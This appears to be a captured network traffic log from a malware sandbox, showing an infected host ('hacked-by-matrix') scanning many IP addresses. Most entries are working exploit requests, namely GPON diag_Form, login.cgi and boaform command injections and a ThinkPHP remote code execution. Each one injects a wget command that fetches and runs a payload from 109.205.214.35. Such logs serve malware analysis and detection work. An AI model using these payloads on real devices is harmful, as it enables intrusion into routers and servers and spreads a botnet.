Mar 21, 2024 05:18:09.971831083 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:33.267844915 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	38226	191.232.163.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.461930037 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.694863081 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.911319017 CET	115	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Connection: close Date: Thu, 21 Mar 2024 04:17:48 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	50638	176.226.134.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.474961996 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.756375074 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.995331049 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:48 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	56306	157.245.145.100	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.573515892 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:47.893908978 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	34576	34.36.254.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.640767097 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.733113050 CET	317	IN	HTTP/1.1 301 Moved Permanently Cache-Control: private Location: https://34.36.254.239:443/login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Content-Length: 0 Date: Thu, 21 Mar 2024 04:17:47 GMT Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	37100	181.129.246.130	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.852058887 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	58192	12.3.52.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.561177969 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:52.822952032 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:52.915779114 CET	74	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 97816
Mar 21, 2024 05:17:52.916214943 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 27 3e 3c 68 65 61 64 3e 20 20 3c 74 69 74 6c 65 3e 50 61 72 61 6c 6c 65 6c 73 20 48 54 4d 4c 35 20 43 6c 69 65 6e 74 3c 2f 74 69 74 6c 65 3e 20 20 3c 6d 65 74 Data Ascii: <!DOCTYPE html><html lang='en'><head> <title>Parallels HTML5 Client</title> <meta charset='utf-8'> <meta http-equiv='X-UA-Compatible' content='IE=edge'> <meta name='viewport' content='initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0'>
Mar 21, 2024 05:17:52.916300058 CET	1286	IN	Data Raw: 49 45 4e 44 49 44 49 77 4d 54 51 67 4b 45 31 68 59 32 6c 75 64 47 39 7a 61 43 6b 69 50 69 41 38 65 47 31 77 54 55 30 36 52 47 56 79 61 58 5a 6c 5a 45 5a 79 62 32 30 67 63 33 52 53 5a 57 59 36 61 57 35 7a 64 47 46 75 59 32 56 4a 52 44 30 69 65 47 Data Ascii: IENDIDIwMTQgKE1hY2ludG9zaCkiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo3ZDlkNDJmYy1iYjhkLTRlMGEtYmNjNC04YmM2Mzk5OTFkOWYiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6ODYzYmQwMTAtZGY3Mi00M2JkLTg5NjMtYTEwMmE0NjdjNjBiIi8+IDwvcmRmOkRlc2N
Mar 21, 2024 05:17:52.916373014 CET	1286	IN	Data Raw: 78 41 41 41 42 37 52 6e 59 58 4e 77 41 41 41 41 45 41 41 41 46 6e 67 41 41 41 41 49 5a 32 78 35 5a 6a 33 6b 68 43 55 41 41 42 61 41 41 41 42 58 34 47 68 6c 59 57 51 49 72 59 44 39 41 41 42 75 59 41 41 41 41 44 5a 6f 61 47 56 68 44 73 63 46 57 51 Data Ascii: xAAAB7RnYXNwAAAAEAAAFngAAAAIZ2x5Zj3khCUAABaAAABX4GhlYWQIrYD9AABuYAAAADZoaGVhDscFWQAAbpgAAAAkaG10eMdQXf4AAG68AAADumxvY2HtdgUiAAByeAAAAeBtYXhwAp0BVQAAdFgAAAAgbmFtZV8gqd0AAHR4AAAEyHBvc3QzCLfTAAB5QAAAAu9wcmVw3o6iXQAAfDAAAAE6AAAAAQAAAADV7UW4AAAAAMl
Mar 21, 2024 05:17:52.916433096 CET	1286	IN	Data Raw: 63 41 50 50 2f 73 41 44 33 2f 37 41 43 43 2f 39 63 41 67 2f 2f 58 41 49 54 2f 31 77 43 46 2f 39 63 41 68 76 2f 58 41 49 66 2f 31 77 43 66 2f 2b 77 41 78 66 2f 73 41 4e 76 2f 72 67 44 65 2f 36 34 41 44 41 41 6d 2f 39 63 41 4b 76 2f 58 41 44 4c 2f Data Ascii: cAPP/sAD3/7ACC/9cAg//XAIT/1wCF/9cAhv/XAIf/1wCf/+wAxf/sANv/rgDe/64ADAAm/9cAKv/XADL/1wA0/9cAif/XAJT/1wCV/9cAlv/XAJf/1wCY/9cAmv/XAMP/1wABAC0AewAMAA//hQAR/4UAIgApACT/1wCC/9cAg//XAIT/1wCF/9cAhv/XAIf/1wDb/4UA3v+FABsABf9cAAr/XAAm/9cAKv/XADL/1wA0/9cAN
Mar 21, 2024 05:17:52.916472912 CET	1286	IN	Data Raw: 2f 38 4d 41 56 76 2b 75 41 46 6a 2f 77 77 42 64 2f 39 63 41 67 76 2b 46 41 49 50 2f 68 51 43 45 2f 34 55 41 68 66 2b 46 41 49 62 2f 68 51 43 48 2f 34 55 41 69 66 2f 58 41 4a 54 2f 31 77 43 56 2f 39 63 41 6c 76 2f 58 41 4a 66 2f 31 77 43 59 2f 39 Data Ascii: /8MAVv+uAFj/wwBd/9cAgv+FAIP/hQCE/4UAhf+FAIb/hQCH/4UAif/XAJT/1wCV/9cAlv/XAJf/1wCY/9cAmv/XAKL/mgCj/5oApP+aAKX/mgCm/5oAp/+aAKj/mgCp/5oAqv+aAKv/mgCs/5oArf+aALT/mgC1/5oAtv+aALf/mgC4/5oAuv+aALv/wwC8/8MAvf/DAL7/wwDD/9cAxP+aANv/hQDe/4UADAAm/+wAKv/sADL
Mar 21, 2024 05:17:52.916614056 CET	1286	IN	Data Raw: 4d 46 42 41 49 43 42 4f 41 41 41 75 39 41 41 43 42 62 41 41 41 41 4b 41 41 41 41 41 41 78 51 56 4e 44 41 45 41 41 44 66 73 45 42 6d 62 2b 5a 67 41 41 43 47 49 43 54 79 41 41 41 5a 38 41 41 41 41 41 42 44 38 46 74 67 41 41 41 43 41 41 41 77 41 41 Data Ascii: MFBAICBOAAAu9AACBbAAAAKAAAAAAxQVNDAEAADfsEBmb+ZgAACGICTyAAAZ8AAAAABD8FtgAAACAAAwAAAAMAAAADAAAAHAABAAAAAAD8AAMAAQAAABwABADgAAAANAAgAAQAFAANAH4A/wExAVMBeALGAtoC3CAKIBQgGiAeICIgJiAvIDogRCBfIHQgrCEiIhIl/PsE//8AAAANACAAoAExAVIBeALGAtoC3CAAIBAgGCAcI
Mar 21, 2024 05:17:52.916673899 CET	1286	IN	Data Raw: 49 4c 44 74 55 56 67 6a 49 4c 42 4e 52 43 4e 5a 49 4c 41 45 4a 6c 46 59 49 79 43 77 44 55 51 6a 57 53 45 68 4c 53 77 67 49 45 55 59 61 45 51 67 73 41 46 67 49 45 57 77 52 6e 5a 6f 69 6b 56 67 52 43 30 73 41 62 45 4c 43 6b 4d 6a 51 32 55 4b 4c 53 Data Ascii: ILDtUVgjILBNRCNZILAEJlFYIyCwDUQjWSEhLSwgIEUYaEQgsAFgIEWwRnZoikVgRC0sAbELCkMjQ2UKLSwAsQoLQyNDCy0sALAoI3CxASg+AbAoI3CxAihFOrECAAgNLSwgRbADJUVhZLBQUVhFRBshIVktLEmwDiNELSwgRbAAQ2BELSwBsAZDsAdDZQotLCBpsEBhsACLILEswIqMuBAAYmArDGQjZGFcWLADYVktLIoDRYq
Mar 21, 2024 05:17:52.916798115 CET	1286	IN	Data Raw: 42 46 5a 55 53 77 42 79 55 51 73 41 59 6c 73 43 6e 67 73 41 55 6c 73 41 67 6c 43 43 42 59 41 68 73 44 57 62 41 46 4a 62 41 44 4a 55 4e 49 73 41 51 6c 73 41 63 6c 43 4c 41 47 4a 62 41 44 4a 62 41 42 59 45 4e 49 47 79 46 5a 49 53 45 68 49 53 45 68 Data Ascii: BFZUSwByUQsAYlsCngsAUlsAglCCBYAhsDWbAFJbADJUNIsAQlsAclCLAGJbADJbABYENIGyFZISEhISEhIS0sArAEJSAgRrAEJSNCsAUlCLADJUVIISEhIS0sArADJSCwBCUIsAIlQ0ghISEtLEUjIEUYILAAUCBYI2UjWSNoILBAUFghsEBZI1hlWYpgRC0sS1MjS1FaWCBFimBEGyEhWS0sS1RYIEWKYEQbISFZLSxLUyNLU
Mar 21, 2024 05:17:52.916897058 CET	1286	IN	Data Raw: 6a 56 42 53 55 6c 41 42 65 51 51 39 2b 70 68 69 59 6d 49 41 41 67 43 46 41 36 59 43 54 67 57 32 41 41 4d 41 42 77 41 66 51 41 30 48 42 41 41 44 42 41 4d 4a 43 41 59 43 42 77 4d 44 41 44 38 7a 7a 54 49 52 45 67 45 35 4f 52 45 7a 45 54 4d 78 4d 41 Data Ascii: jVBSUlABeQQ9+phiYmIAAgCFA6YCTgW2AAMABwAfQA0HBAADBAMJCAYCBwMDAD8zzTIREgE5OREzETMxMAEDIwMhAyMDAQQhPSEBySE9IQW2/fACEP3wAhAAAAIANwAABPQFtgAbAB8Ao0BfCB8cFQQUCREMDAkSDw4LBAoTExQWHR4HBAYXBAEAGQQYBQUGFAYKIQMaFwMYChggIQgEDA0MUlkcAQ0fABAREFJZGRURPw1PDX8
Mar 21, 2024 05:17:53.933543921 CET	1286	IN	Data Raw: 6b 52 4d 78 45 7a 45 54 4d 52 4d 78 45 7a 4d 54 41 54 4e 44 59 33 4a 79 34 42 4e 54 51 32 4d 7a 49 57 46 52 51 47 42 77 45 2b 41 54 63 7a 42 67 63 42 49 79 63 4f 41 69 4d 69 4a 67 55 79 4e 6a 63 42 44 67 49 56 46 42 59 44 46 42 59 58 50 67 45 31 Data Ascii: kRMxEzETMRMxEzMTATNDY3Jy4BNTQ2MzIWFRQGBwE+ATczBgcBIycOAiMiJgUyNjcBDgIVFBYDFBYXPgE1NCYjIgZ7k8lLQkC/oZu1jLcBxD1WIGA/kgEKh8FckKtt0e8Bx4DVZ/4diHk3uihQcJ98fGpygwFzisJsUkeISo+ooo9pr2v+N0iqdPa0/vTFWlMsznRXZwHlSGV2T4+iBFJPhmtVlF9edXQAAAEAhQOmAQQFtgADA
Mar 21, 2024 05:17:57.136984110 CET	74	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 97816

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	56486	136.142.156.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.592021942 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	36434	23.214.100.193	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.639525890 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.797583103 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Thu, 21 Mar 2024 04:17:48 GMT Date: Thu, 21 Mar 2024 04:17:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 35 35 65 64 36 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 38 26 23 34 36 3b 36 36 65 66 62 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.955ed617.1710994668.66efbf</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	58622	88.214.57.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.672898054 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.855432987 CET	513	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:48 GMT Server: Apache/2.4.56 (Debian) Content-Length: 319 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 76 70 73 2d 7a 61 70 33 37 33 31 35 31 2d 31 2e 7a 61 70 2d 73 72 76 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at vps-zap373151-1.zap-srv.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	46624	94.123.109.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.685842037 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

